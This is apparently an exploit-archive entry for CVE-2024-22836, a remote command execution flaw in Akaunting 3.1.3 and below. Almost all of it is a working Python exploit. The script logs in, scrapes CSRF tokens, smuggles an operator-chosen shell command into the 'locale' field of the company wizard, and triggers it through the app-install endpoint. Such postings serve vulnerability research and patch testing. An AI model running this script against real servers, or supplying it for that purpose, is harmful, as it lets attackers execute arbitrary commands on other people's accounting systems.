Headline
Akaunting 3.1.3 Remote Command Execution
Akaunting versions 3.1.3 and below suffer from a remote command execution vulnerability.
# Exploit Title: Akaunting < 3.1.3 - RCE# Date: 08/02/2024# Exploit Author: [email protected]# Vendor Homepage: https://akaunting.com# Software Link: https://github.com/akaunting/akaunting# Version: <= 3.1.3# Tested on: Ubuntu (22.04)# CVE : CVE-2024-22836#!/usr/bin/python3import sysimport reimport requestsimport argparsedef get_company(): # print("[INF] Retrieving company id...") res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False) if res.status_code != 302: print("[ERR] No company id was found!") sys.exit(3) cid = res.headers['Location'].split('/')[-1] if cid == "login": print("[ERR] Invalid session cookie!") sys.exit(7) return ciddef get_tokens(url): res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False) search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text) if not search_res: print("[ERR] Couldn't get csrf token") sys.exit(1) data = {} data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '') data['session'] = res.cookies.get('akaunting_session') return datadef inject_command(cmd): url = f"{target}/{company_id}/wizard/companies" tokens = get_tokens(url) headers.update({"X-Csrf-Token": tokens['csrf_token']}) data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"} res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False) if res.status_code == 200: res_data = res.json() if res_data['error']: print("[ERR] Command injection failed!") sys.exit(4) print("[INF] Command injected!")def trigger_rce(app, version = "1.0.0"): print("[INF] Executing the command...") url = f"{target}/{company_id}/apps/install" data = {"alias": app, "version": version, "path": f"apps/{app}/download"} headers.update({"Content-Type":"application/json"}) res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False) if res.status_code == 200: res_data = res.json() if res_data['error']: search_res = re.search(r">Exit Code\:.*<", res_data['message']) if search_res: print("[ERR] Failed to execute the command") sys.exit(6) print("[ERR] Failed to install the app! no command was executed!") sys.exit(5) print("[INF] Executed successfully!")def login(email, password): url = f"{target}/auth/login" tokens = get_tokens(url) cookies.update({ 'akaunting_session': tokens['session'] }) data = { "_token": tokens['csrf_token'], "_method": "POST", "email": email, "password": password } req = requests.post(url, headers=headers, cookies=cookies, data=data) res = req.json() if res['error']: print("[ERR] Failed to log in!") sys.exit(8) print("[INF] Logged in") cookies.update({'akaunting_session': req.cookies.get('akaunting_session')}) def main(): inject_command(args.command) trigger_rce(args.alias, args.version)if __name__=='__main__': parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="target url") parser.add_argument("--email", help="user login email.") parser.add_argument("--password", help="user login password.") parser.add_argument("-i", "--id", type=int, help="company id (optional).") parser.add_argument("-c", "--command", help="command to execute.") parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard") parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2") args = parser.parse_args() headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"} cookies = {} target = args.url try: login(args.email, args.password) company_id = get_company() if not args.id else args.id main() except: sys.exit(0)